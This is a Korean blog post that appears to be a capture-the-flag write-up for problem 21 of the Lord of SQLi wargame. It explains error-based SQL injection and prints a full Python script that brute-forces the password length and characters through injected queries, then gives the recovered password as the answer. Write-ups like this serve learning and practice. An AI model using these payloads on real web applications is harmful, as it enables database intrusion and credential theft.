본문 바로가기

웹/los

los 21번

Los 21번입니다.

los 21번

기본적인 error based SQL injection 문제입니다. 이 문제는 쿼리문에 따라 결과를 화면에 출력해주지 않고 에러메시지를 띄워줍니다. 그래서 쿼리문의 에러 여부를 이용해 해결하는 error based SQL injection 공격 방법을 이용해야 합니다.

 

아래의 프로그램을 이용해서 비밀번호의 길이와 비밀번호를 알아냈습니다.

import requests

cookies= {'PHPSESSID':'qfvd7i1j71o2j8mkccvhap8bsi'}
url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?'
password = ''
length = 0

#pw 길이 구하기 (1글자가 4byte라고 알기 전)
for i in range(1,99):
    query = "pw=' or if(length(pw)={0},1,(select 1 union select 2))%23".format(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Subquery returns more than 1 row")<0):
        length = i
        print("length: "+str(length))
        break

#pw 구하기 (1글자가 4byte라고 알게 된 후, 고정 길이)
for i in range(1,33):
    for j in range(33,127):
        query = "pw=' or if(ord(substr(pw,{0},1))={1},1,(select 1 union select 2))%23".format(i,j)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Subquery returns more than 1 row")<0):
            password += chr(j)
            print("password: "+password)
            break

print ("password : "+password)

길이를 알아내기 위해서는 pw=' or if(length(pw)={0},1,(select 1 union select 2))%23이라는 길이를 이용했고 비밀호를 알아낼 때도 길이와 비슷한 쿼리문으로 이전에 썼던 쿼리문을 혼합하여 사용했습니다.

 

brute forcing을 알아낸 비밀번호는 06b5a6c16e8830475f983cc3a825ee9a였습니다.

 

정답:?pw=06b5a6c16e8830475f983cc3a825ee9a

 

' > los' 카테고리의 다른 글

los 23번  (0) 2020.12.19
los 22번  (0) 2020.12.18
los 20번  (0) 2020.11.29
los 19번  (0) 2020.11.28
los 18번  (0) 2020.11.28